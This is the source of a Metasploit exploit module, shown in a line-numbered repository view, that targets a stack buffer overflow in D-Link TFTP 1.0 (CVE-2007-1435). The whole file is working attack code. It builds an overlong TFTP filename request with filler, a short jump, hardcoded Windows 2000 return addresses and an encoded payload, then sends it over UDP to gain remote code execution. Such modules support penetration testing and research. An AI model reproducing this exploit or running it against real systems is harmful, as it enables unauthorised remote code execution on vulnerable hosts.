root / modules / exploits / windows / tftp / dlink_long_filename.rb @ master
History | View | Annotate | Download (2.1 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GoodRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::Udp |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a stack buffer overflow in D-Link TFTP 1.0. |
| 24 |
By sending a request for an overly long file name, an attacker |
| 25 |
could overflow a buffer and execute arbitrary code. For best results, |
| 26 |
use bind payloads with nonx (No NX). |
| 27 |
},
|
| 28 |
'Author' =>
|
| 29 |
[ |
| 30 |
'LSO <lso[at]hushmail.com>', # Exploit module |
| 31 |
'patrick', # Refs, stability, targets etc |
| 32 |
], |
| 33 |
'Version' => '$Revision$', |
| 34 |
'References' =>
|
| 35 |
[ |
| 36 |
[ 'CVE', '2007-1435' ], |
| 37 |
[ 'OSVDB', '33977' ], |
| 38 |
[ 'BID', '22923' ], |
| 39 |
], |
| 40 |
'DefaultOptions' =>
|
| 41 |
{
|
| 42 |
'EXITFUNC' => 'process', |
| 43 |
}, |
| 44 |
'Payload' =>
|
| 45 |
{
|
| 46 |
'Space' => 1024, |
| 47 |
'BadChars' => "\x00", |
| 48 |
'Compat' =>
|
| 49 |
{
|
| 50 |
'ConnectionType' => '-reverse', |
| 51 |
}, |
| 52 |
}, |
| 53 |
'SaveRegisters' => [ 'ecx', 'eax', 'esi' ], |
| 54 |
'Platform' => 'win', |
| 55 |
|
| 56 |
'Targets' =>
|
| 57 |
[ |
| 58 |
# Patrick tested OK 20090228
|
| 59 |
['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx |
| 60 |
['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx |
| 61 |
], |
| 62 |
'Privileged' => false, |
| 63 |
'DisclosureDate' => 'Mar 12 2007', |
| 64 |
'DefaultTarget' => 0)) |
| 65 |
|
| 66 |
register_options( |
| 67 |
[ |
| 68 |
Opt::RPORT(69) |
| 69 |
], self)
|
| 70 |
end
|
| 71 |
|
| 72 |
def exploit |
| 73 |
connect_udp |
| 74 |
|
| 75 |
print_status("Trying target #{target.name}...")
|
| 76 |
|
| 77 |
juju = "\x00\x01"
|
| 78 |
juju << Rex::Text.rand_text_alpha_upper(581) |
| 79 |
juju << Rex::Arch::X86.jmp_short(42) |
| 80 |
juju << Rex::Text.rand_text_alpha_upper(38) |
| 81 |
juju << [target.ret].pack('V') + payload.encoded
|
| 82 |
|
| 83 |
udp_sock.put(juju) |
| 84 |
|
| 85 |
handler |
| 86 |
disconnect_udp |
| 87 |
end
|
| 88 |
|
| 89 |
end
|